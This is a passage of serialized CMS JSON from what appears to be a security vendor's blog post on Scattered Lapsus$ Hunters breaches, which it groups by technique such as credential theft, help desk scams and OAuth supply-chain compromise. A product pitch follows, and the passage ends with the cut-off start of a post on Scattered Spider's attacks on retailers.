cyber attack yet recorded in a G7 economy. ",{"data":55447,"content":55448,"nodeType":1005},{},[],{"data":55450,"content":55451,"nodeType":1009},{},[55452],{"data":55453,"marks":55454,"value":55456,"nodeType":864},{},[55455],{"type":899},"2025 wasn’t a one-off",{"data":55458,"content":55459,"nodeType":860},{},[55460],{"data":55461,"marks":55462,"value":55463,"nodeType":864},{},[],"The developments through 2025 have presented a stronger picture than ever before that cybercriminal operations are heavily interlinked. Groups overlap considerably, and individuals freely move between different cells. ",{"data":55465,"content":55466,"nodeType":860},{},[55467,55471,55476],{"data":55468,"marks":55469,"value":55470,"nodeType":864},{},[],"When we scratch beneath the surface, this is evident in the tactics, techniques and procedures (TTPs) used by these attackers — even stretching as far back as 2021 with the initial rise of Lapsus$. This is not an accident. ",{"data":55472,"marks":55473,"value":55475,"nodeType":864},{},[55474],{"type":899},"The TTPs used show a conscious move by attackers to move away from environments that are well-protected by traditional security tools. ",{"data":55477,"marks":55478,"value":55479,"nodeType":864},{},[],"This means avoiding targeting endpoints with malware, and not relying on software-based exploits. Instead, these attackers look to take over apps and services directly over the internet. ",{"data":55481,"content":55482,"nodeType":860},{},[55483],{"data":55484,"marks":55485,"value":55486,"nodeType":864},{},[],"Most of the time, this is as simple as logging in to a SaaS app, or an enterprise SSO account (e.g. Microsoft, Okta, or Google) and dumping the data. For attackers that want to take it further, they can abuse the sprawl of interconnected apps that make up modern business IT, seeking out specific data or exploitable functionality. Or, they can leverage internet-accessible management portals to chart a path back to your on-premise assets, giving them everything they need to pivot toward more conventional methods such as ransomware deployment. ",{"data":55488,"content":55489,"nodeType":860},{},[55490,55494],{"data":55491,"marks":55492,"value":55493,"nodeType":864},{},[],"When we look at historical breaches, the pattern is clear. ",{"data":55495,"marks":55496,"value":55498,"nodeType":864},{},[55497],{"type":899},"Not one of the attacks attributed to Scattered Lapsus$ Hunters, or its predecessors, started with an endpoint or network attack — they all began with account takeover. ",{"data":55500,"content":55504,"nodeType":996},{"target":55501},{"sys":55502},{"id":55503,"type":1001,"linkType":1002},"6poP5VM2ARrEvwKEG42HgK",[],{"data":55506,"content":55507,"nodeType":1005},{},[],{"data":55509,"content":55510,"nodeType":1009},{},[55511],{"data":55512,"marks":55513,"value":55515,"nodeType":864},{},[55514],{"type":899},"TTP breakdown: Analyzing the top “Scattered Lapsus$ Hunters” breaches since 2021",{"data":55517,"content":55518,"nodeType":1312},{},[55519],{"data":55520,"marks":55521,"value":55523,"nodeType":864},{},[55522],{"type":899},"Phishing and stolen credentials",{"data":55525,"content":55529,"nodeType":996},{"target":55526},{"sys":55527},{"id":55528,"type":1001,"linkType":1002},"4SNOanDIdGZsvRRnMYQVSo",[],{"data":55531,"content":55532,"nodeType":860},{},[55533],{"data":55534,"marks":55535,"value":55538,"nodeType":864},{},[55536,55537],{"type":899},{"type":1455},"EA Games (2021)",{"data":55540,"content":55541,"nodeType":860},{},[55542,55546,55555],{"data":55543,"marks":55544,"value":55545,"nodeType":864},{},[],"Attackers used stolen session cookies to log into EA’s Slack instance, purchased on a criminal forum. Combined with ",{"data":55547,"content":55549,"nodeType":883},{"uri":55548},"https://pushsecurity.com/blog/phishing-slack-persistence/",[55550],{"data":55551,"marks":55552,"value":55554,"nodeType":864},{},[55553],{"type":1455},"social engineering via Slack",{"data":55556,"marks":55557,"value":55558,"nodeType":864},{},[],", this was used to steal 750GB of data, including video game source code. ",{"data":55560,"content":55561,"nodeType":860},{},[55562],{"data":55563,"marks":55564,"value":55567,"nodeType":864},{},[55565,55566],{"type":899},{"type":1455},"Nvidia (2022)",{"data":55569,"content":55570,"nodeType":860},{},[55571],{"data":55572,"marks":55573,"value":55574,"nodeType":864},{},[],"Attackers used stolen credentials to steal 1TB of data from Nvidia’s internal shares, including a significant amount of sensitive information about the designs of Nvidia graphics cards, source code, and the usernames and passwords of more than 71,000 Nvidia employees.",{"data":55576,"content":55577,"nodeType":860},{},[55578],{"data":55579,"marks":55580,"value":55583,"nodeType":864},{},[55581,55582],{"type":899},{"type":1455},"Microsoft (2022)",{"data":55585,"content":55586,"nodeType":860},{},[55587,55591,55599],{"data":55588,"marks":55589,"value":55590,"nodeType":864},{},[],"Attackers used stolen credentials combined with SIM swapping and ",{"data":55592,"content":55594,"nodeType":883},{"uri":55593},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/mfa_fatigue/description.md",[55595],{"data":55596,"marks":55597,"value":55598,"nodeType":864},{},[],"MFA fatigue",{"data":55600,"marks":55601,"value":55602,"nodeType":864},{},[]," attacks to steal Azure DevOps source code — leaked a 9GB archive of Microsoft source code – including ~90% of Bing and 45% of Cortana code. ",{"data":55604,"content":55605,"nodeType":860},{},[55606],{"data":55607,"marks":55608,"value":55611,"nodeType":864},{},[55609,55610],{"type":899},{"type":1455},"T-Mobile (2022)",{"data":55613,"content":55614,"nodeType":860},{},[55615],{"data":55616,"marks":55617,"value":55618,"nodeType":864},{},[],"Attackers used stolen credentials to establish initial access, coupled with social engineering T-Mobile staff into approving the attacker’s device for VPN access. This resulted in source code being stolen from over 30,000 repositories. ",{"data":55620,"content":55621,"nodeType":860},{},[55622],{"data":55623,"marks":55624,"value":55627,"nodeType":864},{},[55625,55626],{"type":899},{"type":1455},"Snowflake (165 customers) (2024)",{"data":55629,"content":55630,"nodeType":860},{},[55631,55635,55643,55647,55655],{"data":55632,"marks":55633,"value":55634,"nodeType":864},{},[],"Attackers targeted ",{"data":55636,"content":55637,"nodeType":883},{"uri":3751},[55638],{"data":55639,"marks":55640,"value":55642,"nodeType":864},{},[55641],{"type":1455},"165 Snowflake customers",{"data":55644,"marks":55645,"value":55646,"nodeType":864},{},[]," using stolen credentials from credential breaches dating back as far as 2020. Due to widespread MFA gaps and the presence of ",{"data":55648,"content":55650,"nodeType":883},{"uri":55649},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/ghost_logins/description.md",[55651],{"data":55652,"marks":55653,"value":13731,"nodeType":864},{},[55654],{"type":1455},{"data":55656,"marks":55657,"value":55658,"nodeType":864},{},[],", attackers were able to simply log in to individual customer tenants, dump the data, and use it to extort the companies. In total, 9 public victims were named following the breach, with over 1B breached customer records. ",{"data":55660,"content":55661,"nodeType":860},{},[55662],{"data":55663,"marks":55664,"value":55667,"nodeType":864},{},[55665,55666],{"type":899},{"type":1455},"PowerSchool (2024)",{"data":55669,"content":55670,"nodeType":860},{},[55671],{"data":55672,"marks":55673,"value":55674,"nodeType":864},{},[],"Attackers gained access to a community-focused customer support portal, PowerSource, using compromised credentials and stole data using an \"export data manager\" customer support tool, stealing the data of 62.4 million students and 9.5 million teachers. PowerSchool paid an undisclosed ransom fee, but hackers returned later to extort schools and individuals separately anyway.",{"data":55676,"content":55677,"nodeType":860},{},[55678],{"data":55679,"marks":55680,"value":55683,"nodeType":864},{},[55681,55682],{"type":899},{"type":1455},"Red Hat (2025)",{"data":55685,"content":55686,"nodeType":860},{},[55687,55691,55698],{"data":55688,"marks":55689,"value":55690,"nodeType":864},{},[],"Attackers breached Red Hat’s GitLab instance via a compromised account — the result of ",{"data":55692,"content":55693,"nodeType":883},{"uri":55649},[55694],{"data":55695,"marks":55696,"value":13731,"nodeType":864},{},[55697],{"type":1455},{"data":55699,"marks":55700,"value":55701,"nodeType":864},{},[]," providing a backdoor to access an otherwise secure, SSO-connected account. Stolen data included approximately 800 Customer Engagement Reports (CERs), authentication tokens, full database URIs, and other private information in Red Hat code and CERs, which they claimed to use to gain access to downstream customer infrastructure. ",{"data":55703,"content":55707,"nodeType":996},{"target":55704},{"sys":55705},{"id":55706,"type":1001,"linkType":1002},"G1V7d5Dvevmr9p0YXElPX",[],{"data":55709,"content":55710,"nodeType":860},{},[55711],{"data":55712,"marks":55713,"value":55716,"nodeType":864},{},[55714,55715],{"type":899},{"type":1455},"Discord (2025)",{"data":55718,"content":55719,"nodeType":860},{},[55720],{"data":55721,"marks":55722,"value":55723,"nodeType":864},{},[],"Attackers compromised a Zendesk customer support account, stealing 1.6TB of data. The hackers say this consisted of roughly 8.4 million tickets affecting 5.5 million unique users, and that about 580,000 users contained payment information.",{"data":55725,"content":55726,"nodeType":860},{},[55727],{"data":55728,"marks":55729,"value":55732,"nodeType":864},{},[55730,55731],{"type":899},{"type":1455},"SoundCloud, MatchGroup, Crunchbase, Betterment... (2026)",{"data":55734,"content":55735,"nodeType":860},{},[55736,55740,55748,55751,55759,55763,55770],{"data":55737,"marks":55738,"value":55739,"nodeType":864},{},[],"Scattered Lapsus$ Hunters have already claimed several public victims in 2026, with over 60 million breached records. ",{"data":55741,"content":55743,"nodeType":883},{"uri":55742},"https://www.bleepingcomputer.com/news/security/shinyhunters-claim-to-be-behind-sso-account-data-theft-attacks/",[55744],{"data":55745,"marks":55746,"value":55747,"nodeType":864},{},[],"SoundCloud, Betterment, Crunchbase",{"data":55749,"marks":55750,"value":902,"nodeType":864},{},[],{"data":55752,"content":55754,"nodeType":883},{"uri":55753},"https://www.bleepingcomputer.com/news/security/match-group-breach-exposes-data-from-hinge-tinder-okcupid-and-match/",[55755],{"data":55756,"marks":55757,"value":55758,"nodeType":864},{},[],"MatchGroup",{"data":55760,"marks":55761,"value":55762,"nodeType":864},{},[]," have all reported breaches this month, powered by a brand ",{"data":55764,"content":55765,"nodeType":883},{"uri":6259},[55766],{"data":55767,"marks":55768,"value":55769,"nodeType":864},{},[],"new real-time-operated AiTM phishing kit",{"data":55771,"marks":55772,"value":55773,"nodeType":864},{},[]," targeting Okta, Entra, and Google SSO accounts. This is a developing situation, with more victims expected to be announced publicly soon.",{"data":55775,"content":55776,"nodeType":1005},{},[],{"data":55778,"content":55779,"nodeType":1312},{},[55780],{"data":55781,"marks":55782,"value":55784,"nodeType":864},{},[55783],{"type":899},"Vishing and help desk scams",{"data":55786,"content":55787,"nodeType":860},{},[55788],{"data":55789,"marks":55790,"value":55793,"nodeType":864},{},[55791,55792],{"type":899},{"type":1455},"MGM Resorts & Caesars (2023)",{"data":55795,"content":55796,"nodeType":860},{},[55797,55801,55810],{"data":55798,"marks":55799,"value":55800,"nodeType":864},{},[],"MGM Resorts and Caesars were hit with twin breaches in 2023. Attackers socially engineered help desk personnel to take over accounts with Super Administrator privileges within MGM Resorts’ Okta tenant, which they then used to register a second, attacker-controlled IdP via ",{"data":55802,"content":55804,"nodeType":883},{"uri":55803},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/inbound_federation/description.md",[55805],{"data":55806,"marks":55807,"value":55809,"nodeType":864},{},[55808],{"type":1455},"inbound federation",{"data":55811,"marks":55812,"value":55813,"nodeType":864},{},[]," — granting comprehensive access that was used to deploy ransomware. ",{"data":55815,"content":55816,"nodeType":860},{},[55817],{"data":55818,"marks":55819,"value":55822,"nodeType":864},{},[55820,55821],{"type":899},{"type":1455},"Transport for London (2024)",{"data":55824,"content":55825,"nodeType":860},{},[55826],{"data":55827,"marks":55828,"value":55829,"nodeType":864},{},[],"Attackers socially engineered the Transport for London help desk to gain privileged access to the IT environment, resulting in prolonged disruption to key online services underpinning London’s public transport network, theft of 5,000 users bank details, and all 30,000 staff members having to reset their online credentials in person.",{"data":55831,"content":55832,"nodeType":860},{},[55833],{"data":55834,"marks":55835,"value":55838,"nodeType":864},{},[55836,55837],{"type":899},{"type":1455},"Marks & Spencer (2025)",{"data":55840,"content":55841,"nodeType":860},{},[55842,55846,55855,55859,55868],{"data":55843,"marks":55844,"value":55845,"nodeType":864},{},[],"Attackers compromised a Microsoft Entra account belonging to a privileged user via a ",{"data":55847,"content":55849,"nodeType":883},{"uri":55848},"https://pushsecurity.com/blog/scattered-spider-defending-against-help-desk-scams/",[55850],{"data":55851,"marks":55852,"value":55854,"nodeType":864},{},[55853],{"type":1455},"help desk scam",{"data":55856,"marks":55857,"value":55858,"nodeType":864},{},[],", which enabled them to steal sensitive data from cloud environments, as well as pivot to deploy ransomware via the ",{"data":55860,"content":55862,"nodeType":883},{"uri":55861},"https://cloud.google.com/blog/topics/threat-intelligence/vsphere-active-directory-integration-risks",[55863],{"data":55864,"marks":55865,"value":55867,"nodeType":864},{},[55866],{"type":1455},"VMware admin console",{"data":55869,"marks":55870,"value":55871,"nodeType":864},{},[],". This enabled ransomware to be deployed at the hypervisor layer, evading host-based protections like EDR. ",{"data":55873,"content":55877,"nodeType":996},{"target":55874},{"sys":55875},{"id":55876,"type":1001,"linkType":1002},"7hBdHG74NaA3bQfOMpYA9o",[],{"data":55879,"content":55880,"nodeType":860},{},[55881],{"data":55882,"marks":55883,"value":55886,"nodeType":864},{},[55884,55885],{"type":899},{"type":1455},"Jaguar Land Rover (2025)",{"data":55888,"content":55889,"nodeType":860},{},[55890],{"data":55891,"marks":55892,"value":55893,"nodeType":864},{},[],"Attackers compromised highly privileged admin accounts via a help desk scam, which they leveraged to access and deploy ransomware to all aspects of Jaguar’s business, from CAD and engineering software, to payments tracking, to customer car delivery, using similar techniques to the Marks & Spencer breach. ",{"data":55895,"content":55899,"nodeType":996},{"target":55896},{"sys":55897},{"id":55898,"type":1001,"linkType":1002},"6s1X2fo4K9EeVLBmHm4YXb",[],{"data":55901,"content":55902,"nodeType":1005},{},[],{"data":55904,"content":55905,"nodeType":1312},{},[55906],{"data":55907,"marks":55908,"value":694,"nodeType":864},{},[55909],{"type":899},{"data":55911,"content":55912,"nodeType":860},{},[55913],{"data":55914,"marks":55915,"value":55918,"nodeType":864},{},[55916,55917],{"type":899},{"type":1455},"Salesforce & Salesloft (1000+ customers) (2025)",{"data":55920,"content":55921,"nodeType":860},{},[55922],{"data":55923,"marks":55924,"value":55925,"nodeType":864},{},[],"A vast campaign against Salesforce customers resulted in the compromise of 1000+ Salesforce tenants (according to the attacker) with more than 1.5 billion records stolen. This campaign can consisted of three phases:",{"data":55927,"content":55928,"nodeType":941},{},[55929,55944,55959],{"data":55930,"content":55931,"nodeType":945},{},[55932],{"data":55933,"content":55934,"nodeType":860},{},[55935,55940],{"data":55936,"marks":55937,"value":55939,"nodeType":864},{},[55938],{"type":899},"Phase 1:",{"data":55941,"marks":55942,"value":55943,"nodeType":864},{},[]," The attacker conducted a large-scale vishing campaign against Salesforce customers, calling up users and socially engineering them into connecting a malicious version of the “Data Loader” app into their tenant. This was in fact an attacker-controlled app that enabled data to be mass-exfiltrated via API. ",{"data":55945,"content":55946,"nodeType":945},{},[55947],{"data":55948,"content":55949,"nodeType":860},{},[55950,55955],{"data":55951,"marks":55952,"value":55954,"nodeType":864},{},[55953],{"type":899},"Phase 2: ",{"data":55956,"marks":55957,"value":55958,"nodeType":864},{},[],"The attacker conducted a supply-chain compromise against customers of Salesloft. Users of Salesloft’s “Drift” integration were impacted by attackers stealing access tokens from Salesloft’s AWS environment. This integration allowed the attacker to steal data from customers that had deployed Drift to connected environments — namely, Salesforce, and Google Workspace. ",{"data":55960,"content":55961,"nodeType":945},{},[55962],{"data":55963,"content":55964,"nodeType":860},{},[55965,55970,55974,55982],{"data":55966,"marks":55967,"value":55969,"nodeType":864},{},[55968],{"type":899},"Phase 3:",{"data":55971,"marks":55972,"value":55973,"nodeType":864},{},[]," The attacker then conducted a separate supply-chain compromise involving Gainsight (allegedly using OAuth tokens stolen in the Salesloft attack) which enabled them to ",{"data":55975,"content":55977,"nodeType":883},{"uri":55976},"https://www.bleepingcomputer.com/news/security/salesforce-investigates-customer-data-theft-via-gainsight-breach/",[55978],{"data":55979,"marks":55980,"value":55981,"nodeType":864},{},[],"breach a further 285 Salesforce instances",{"data":55983,"marks":55984,"value":55985,"nodeType":864},{},[]," using stolen OAuth tokens from Gainsight's integrations. ",{"data":55987,"content":55991,"nodeType":996},{"target":55988},{"sys":55989},{"id":55990,"type":1001,"linkType":1002},"3TwjpVKQ42SwQRhvGFbZdn",[],{"data":55993,"content":55994,"nodeType":1005},{},[],{"data":55996,"content":55997,"nodeType":1312},{},[55998],{"data":55999,"marks":56000,"value":699,"nodeType":864},{},[56001],{"type":899},{"data":56003,"content":56004,"nodeType":860},{},[56005],{"data":56006,"marks":56007,"value":56010,"nodeType":864},{},[56008,56009],{"type":899},{"type":1455},"CyberHaven (2024)",{"data":56012,"content":56013,"nodeType":860},{},[56014],{"data":56015,"marks":56016,"value":56017,"nodeType":864},{},[],"Hackers phished a CyberHaven extension developer and uploaded a malicious version of the CyberHaven extension to the Chrome Web Store, leading to customer data breaches where installed in user browsers, impacting CyberHaven’s estimated ~400 business customers. This was part of a broader campaign that targeted 35 Chrome extensions, collectively impacting over 2.5 million users.",{"data":56019,"content":56023,"nodeType":996},{"target":56020},{"sys":56021},{"id":56022,"type":1001,"linkType":1002},"4ErDI0xi0Vj2Zrk8Qsb2NB",[],{"data":56025,"content":56026,"nodeType":1005},{},[],{"data":56028,"content":56029,"nodeType":1009},{},[56030],{"data":56031,"marks":56032,"value":5520,"nodeType":864},{},[56033],{"type":899},{"data":56035,"content":56036,"nodeType":860},{},[56037],{"data":56038,"marks":56039,"value":56040,"nodeType":864},{},[],"Scattered Lapsus$ Hunters are dominating the headlines right now, but they aren’t the only attackers using these modern techniques and consciously evading established security controls. ",{"data":56042,"content":56043,"nodeType":860},{},[56044],{"data":56045,"marks":56046,"value":56047,"nodeType":864},{},[],"Threat reports agree that attackers are steering away from traditional exploit and malware-driven breaches towards identities:",{"data":56049,"content":56050,"nodeType":941},{},[56051,56072,56094],{"data":56052,"content":56053,"nodeType":945},{},[56054],{"data":56055,"content":56056,"nodeType":860},{},[56057,56061,56069],{"data":56058,"marks":56059,"value":56060,"nodeType":864},{},[],"Identity-based attacks surged 32% in the last year, while 97% of identity attacks are password-based, driven by credential leaks and infostealer malware. (",{"data":56062,"content":56064,"nodeType":883},{"uri":56063},"https://cdn-dynmedia-1.microsoft.com/is/content/microsoftcorp/microsoft/msc/documents/presentations/CSR/Microsoft-Digital-Defense-Report-2025.pdf#page=1",[56065],{"data":56066,"marks":56067,"value":28841,"nodeType":864},{},[56068],{"type":1455},{"data":56070,"marks":56071,"value":26058,"nodeType":864},{},[],{"data":56073,"content":56074,"nodeType":945},{},[56075],{"data":56076,"content":56077,"nodeType":860},{},[56078,56082,56091],{"data":56079,"marks":56080,"value":56081,"nodeType":864},{},[],"79% of detections were malware-free in the last year, up from 40% in 2019. (",{"data":56083,"content":56085,"nodeType":883},{"uri":56084},"https://www.crowdstrike.com/en-gb/global-threat-report/",[56086],{"data":56087,"marks":56088,"value":56090,"nodeType":864},{},[56089],{"type":1455},"CrowdStrike",{"data":56092,"marks":56093,"value":26058,"nodeType":864},{},[],{"data":56095,"content":56096,"nodeType":945},{},[56097],{"data":56098,"content":56099,"nodeType":860},{},[56100,56104,56112],{"data":56101,"marks":56102,"value":56103,"nodeType":864},{},[],"Credential abuse and phishing combined accounted for 38% of breaches, making identity the primary breach vector observed. (",{"data":56105,"content":56106,"nodeType":883},{"uri":8429},[56107],{"data":56108,"marks":56109,"value":56111,"nodeType":864},{},[56110],{"type":1455},"Verizon",{"data":56113,"marks":56114,"value":26058,"nodeType":864},{},[],{"data":56116,"content":56117,"nodeType":860},{},[56118],{"data":56119,"marks":56120,"value":56121,"nodeType":864},{},[],"And other public breaches from this year alone demonstrate similar TTPs from outside of the Scattered Lapsus$ Hunters orbit:",{"data":56123,"content":56124,"nodeType":941},{},[56125,56140,56155,56170],{"data":56126,"content":56127,"nodeType":945},{},[56128],{"data":56129,"content":56130,"nodeType":860},{},[56131,56136],{"data":56132,"marks":56133,"value":56135,"nodeType":864},{},[56134],{"type":899},"Nikkei",{"data":56137,"marks":56138,"value":56139,"nodeType":864},{},[],": Japanese publishing giant Nikkei’s Slack messaging platform was compromised using stolen credentials, leaking the names, email addresses, and chat histories for 17,368 individuals registered on Slack.",{"data":56141,"content":56142,"nodeType":945},{},[56143],{"data":56144,"content":56145,"nodeType":860},{},[56146,56151],{"data":56147,"marks":56148,"value":56150,"nodeType":864},{},[56149],{"type":899},"Evertec",{"data":56152,"marks":56153,"value":56154,"nodeType":864},{},[],": Hackers tried to steal $130 million from Evertec’s Brazilian subsidiary Sinqia S.A.after gaining unauthorized access to its environment on the central bank’s real-time payment system (Pix) using stolen credentials.",{"data":56156,"content":56157,"nodeType":945},{},[56158],{"data":56159,"content":56160,"nodeType":860},{},[56161,56166],{"data":56162,"marks":56163,"value":56165,"nodeType":864},{},[56164],{"type":899},"Hy-Vee:",{"data":56167,"marks":56168,"value":56169,"nodeType":864},{},[]," Was hit with a data breach after hackers logged in with stolen credentials, exposing 53GB of sensitive data.",{"data":56171,"content":56172,"nodeType":945},{},[56173],{"data":56174,"content":56175,"nodeType":860},{},[56176,56181],{"data":56177,"marks":56178,"value":56180,"nodeType":864},{},[56179],{"type":899},"Scania: ",{"data":56182,"marks":56183,"value":56184,"nodeType":864},{},[],"Automotive giant Scania confirmed it suffered a cybersecurity incident where threat actors used compromised credentials to breach its Financial Services systems and steal insurance claim documents.",{"data":56186,"content":56187,"nodeType":860},{},[56188],{"data":56189,"marks":56190,"value":56191,"nodeType":864},{},[],"Scattered Lapsus$ Hunters may be grabbing the headlines — but this a huge movement in a vast and flexible community of attackers. And criminals around the world are learning from their success. ",{"data":56193,"content":56194,"nodeType":1005},{},[],{"data":56196,"content":56197,"nodeType":1009},{},[56198],{"data":56199,"marks":56200,"value":56202,"nodeType":864},{},[56201],{"type":899},"Lessons learned",{"data":56204,"content":56205,"nodeType":860},{},[56206],{"data":56207,"marks":56208,"value":56209,"nodeType":864},{},[],"The common thread with all of these attacks is that they are evading established security controls by targeting applications directly, over the internet, via account takeover.",{"data":56211,"content":56212,"nodeType":860},{},[56213],{"data":56214,"marks":56215,"value":56216,"nodeType":864},{},[],"Clearly, the success of these attacks shows the limitations of multiple control layers. Endpoint and network layer controls have no visibility of this attack surface. Identity-focused controls are being undermined by ghost logins and shadow IT. And the limitations of cloud security controls in their ability to encompass all apps, and detect and stop malicious actions in real-time (that often blend in seamlessly with normal user activity). ",{"data":56218,"content":56222,"nodeType":996},{"target":56219},{"sys":56220},{"id":56221,"type":1001,"linkType":1002},"4Dg3fZEGf7ShyQJ8jlNDME",[],{"data":56224,"content":56225,"nodeType":1005},{},[],{"data":56227,"content":56228,"nodeType":1009},{},[56229],{"data":56230,"marks":56231,"value":13350,"nodeType":864},{},[56232],{"type":899},{"data":56234,"content":56235,"nodeType":860},{},[56236],{"data":56237,"marks":56238,"value":56239,"nodeType":864},{},[],"Stopping attacks that are designed to evade established controls is in our DNA — it’s the reason Push was founded. ",{"data":56241,"content":56242,"nodeType":860},{},[56243],{"data":56244,"marks":56245,"value":56246,"nodeType":864},{},[],"The browser is the gateway to to the apps and identities that attackers are now targeting, with many attacks taking place inside the user’s browser — whether that’s entering credentials onto a phishing page, approving a malicious OAuth grant, installing a risky browser extension, or insecurely accessing an app with a weak password and no MFA. ",{"data":56248,"content":56249,"nodeType":860},{},[56250],{"data":56251,"marks":56252,"value":56253,"nodeType":864},{},[],"Push’s browser-based security platform provides comprehensive detection and response capabilities against attacks like AiTM phishing, credential stuffing, malicious browser extensions, malicious OAuth grants, ClickFix, and session hijacking. You don’t need to wait until it all goes wrong either — you can use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your attack surface.",{"data":56255,"content":56256,"nodeType":860},{},[56257,56260,56267,56271,56278],{"data":56258,"marks":56259,"value":31569,"nodeType":864},{},[],{"data":56261,"content":56262,"nodeType":883},{"uri":25603},[56263],{"data":56264,"marks":56265,"value":25609,"nodeType":864},{},[56266],{"type":1455},{"data":56268,"marks":56269,"value":56270,"nodeType":864},{},[]," or ",{"data":56272,"content":56273,"nodeType":883},{"uri":1700},[56274],{"data":56275,"marks":56276,"value":25633,"nodeType":864},{},[56277],{"type":1455},{"data":56279,"marks":56280,"value":2924,"nodeType":864},{},[],"\"Scattered Lapsus$ Hunters\" — how modern attackers exploit the gaps in your security stack ","How Scattered Lapsus$ Hunters breaches demonstrate the evolution of attacker TTPs, shaping the future of cyber attacks.","2025-11-13T00:00:00.000Z","scattered-lapsus-hunters",{"items":56286},[56287,56289],{"sys":56288,"name":6593},{"id":6592},{"sys":56290,"name":342},{"id":6596},{"items":56292},[56293],{"fullName":2736,"firstName":2737,"jobTitle":2738,"profilePicture":56294},{"url":2740},{"__typename":2059,"sys":56296,"content":56298,"title":56923,"synopsis":56924,"hashTags":59,"publishedDate":56925,"slug":56926,"tagsCollection":56927,"authorsCollection":56933},{"id":56297},"3ExexM6DB2QBOQrtbMrXnN",{"json":56299},{"data":56300,"content":56301,"nodeType":856},{},[56302,56308,56340,56432,56509,56516,56519,56526,56533,56540,56556,56563,56570,56573,56580,56587,56594,56627,56634,56657,56664,56667,56674,56681,56700,56787,56794,56800,56803,56810,56817,56824,56830,56851,56857,56864,56867,56874,56894,56911,56917],{"data":56303,"content":56307,"nodeType":996},{"target":56304},{"sys":56305},{"id":56306,"type":1001,"linkType":1002},"6BjaSruVecmhn1NoHreRni",[],{"data":56309,"content":56310,"nodeType":860},{},[56311,56315,56324,56327,56336],{"data":56312,"marks":56313,"value":56314,"nodeType":864},{},[],"Scattered Spider have been busy. Major breaches of UK retailers ",{"data":56316,"content":56318,"nodeType":883},{"uri":56317},"https://www.bleepingcomputer.com/news/security/mands-says-customer-data-stolen-in-cyberattack-forces-password-resets/",[56319],{"data":56320,"marks":56321,"value":56323,"nodeType":864},{},[56322],{"type":1455},"Marks and Spencer",{"data":56325,"marks":56326,"value":902,"nodeType":864},{},[],{"data":56328,"content":56330,"nodeType":883},{"uri":56329},"https://www.bleepingcomputer.com/news/security/co-op-confirms-data-theft-after-dragonforce-ransomware-claims-attack/",[56331],{"data":56332,"marks":56333,"value":56335,"nodeType":864},{},[56334],{"type":1455},"Co-op",{"data":56337,"marks":56338,"value":56339,"nodeType":864},{},[]," resulted in the loss of sensitive data and prolonged disruption to in-store and digital services, with M&S feeling the pain of £300m in lost profits and a share value hit approaching £1b, and a multimillion-pound class action lawsuit and possible ICO fines looming.",{"data":56341,"content":56342,"nodeType":860},{},[56343,56347,56356,56359,56368,56371,56380,56383,56392,56395,56404,56407,56416,56419,56428],{"data":56344,"marks":56345,"value":56346,"nodeType":864},{},[],"A series of attacks against retailers worldwide soon followed, at an unprecedented rate. ",{"data":56348,"content":56350,"nodeType":883},{"uri":56349},"https://www.bleepingcomputer.com/news/security/fashion-giant-dior-discloses-cyberattack-warns-of-data-breach/",[56351],{"data":56352,"marks":56353,"value":56355,"nodeType":864},{},[56354],{"type":1455},"Dior",{"data":56357,"marks":56358,"value":3731,"nodeType":864},{},[],{"data":56360,"content":56362,"nodeType":883},{"uri":56361},"https://www.bleepingcomputer.com/news/security/the-north-face-warns-customers-of-april-credential-stuffing-attack/",[56363],{"data":56364,"marks":56365,"value":56367,"nodeType":864},{},[56366],{"type":1455},"The North Face",{"data":56369,"marks":56370,"value":3731,"nodeType":864},{},[],{"data":56372,"content":56374,"nodeType":883},{"uri":56373},"https://www.bleepingcomputer.com/news/security/cartier-discloses-data-breach-amid-fashion-brand-cyberattacks/",[56375],{"data":56376,"marks":56377,"value":56379,"nodeType":864},{},[56378],{"type":1455},"Cartier",{"data":56381,"marks":56382,"value":3731,"nodeType":864},{},[],{"data":56384,"content":56386,"nodeType":883},{"uri":56385},"https://www.bleepingcomputer.com/news/security/victorias-secret-delays-earnings-release-after-security-incident/",[56387],{"data":56388,"marks":56389,"value":56391,"nodeType":864},{},[56390],{"type":1455},"Victoria’s Secret",{"data":56393,"marks":56394,"value":3731,"nodeType":864},{},[],{"data":56396,"content":56398,"nodeType":883},{"uri":56397},"https://www.bleepingcomputer.com/news/security/adidas-warns-of-data-breach-after-customer-service-provider-hack/",[56399],{"data":56400,"marks":56401,"value":56403,"nodeType":864},{},[56402],{"type":1455},"Adidas",{"data":56405,"marks":56406,"value":3731,"nodeType":864},{},[],{"data":56408,"content":56410,"nodeType":883},{"uri":56409},"https://www.scworld.com/brief/separate-ransomware-attacks-purportedly-hit-coca-cola-bottling-partner",[56411],{"data":56412,"marks":56413,"value":56415,"nodeType":864},{},[56414],{"type":1455},"Coca-Cola",{"data":56417,"marks":56418,"value":2232,"nodeType":864},{},[],{"data":56420,"content":56422,"nodeType":883},{"uri":56421},"https://www.bleepingcomputer.com/news/security/grocery-wholesale-giant-united-natural-foods-hit-by-cyberattack/",[56423],{"data":56424,"marks":56425,"value":56427,"nodeType":864},{},[56426],{"type":1455},"United Natural Foods",{"data":56429,"marks":56430,"value":56431,"nodeType":864},{},[]," were among the retailers to suffer a breach between May-June 2025. ",{"data":56433,"content":56434,"nodeType":860},{},[56435,56439,56448,56451,56460,56464,56473,56477,56485,56488,56496,56499,56506],{"data":56436,"marks":56437,"value":56438,"nodeType":864},{},[],"The latest news links the hackers to attacks on ",{"data":56440,"content":56442,"nodeType":883},{"uri":56441},"https://www.bleepingcomputer.com/news/security/aflac-discloses-breach-amidst-scattered-spider-insurance-attacks/",[56443],{"data":56444,"marks":56445,"value":56447,"nodeType":864},{},[56446],{"type":1455},"Aflac",{"data":56449,"marks":56450,"value":3731,"nodeType":864},{},[],{"data":56452,"content":56454,"nodeType":883},{"uri":56453},"https://www.bleepingcomputer.com/news/security/google-warns-scattered-spider-hackers-now-target-us-insurance-companies/",[56455],{"data":56456,"marks":56457,"value":56459,"nodeType":864},{},[56458],{"type":1455},"Philadelphia Insurance Companies",{"data":56461,"marks":56462,"value":56463,"nodeType":864},{},[],",  ",{"data":56465,"content":56467,"nodeType":883},{"uri":56466},"https://www.bleepingcomputer.com/news/security/erie-insurance-confirms-cyberattack-behind-business-disruptions/amp/",[56468],{"data":56469,"marks":56470,"value":56472,"nodeType":864},{},[56471],{"type":1455},"Erie Insurance",{"data":56474,"marks":56475,"value":56476,"nodeType":864},{},[],", and most recently 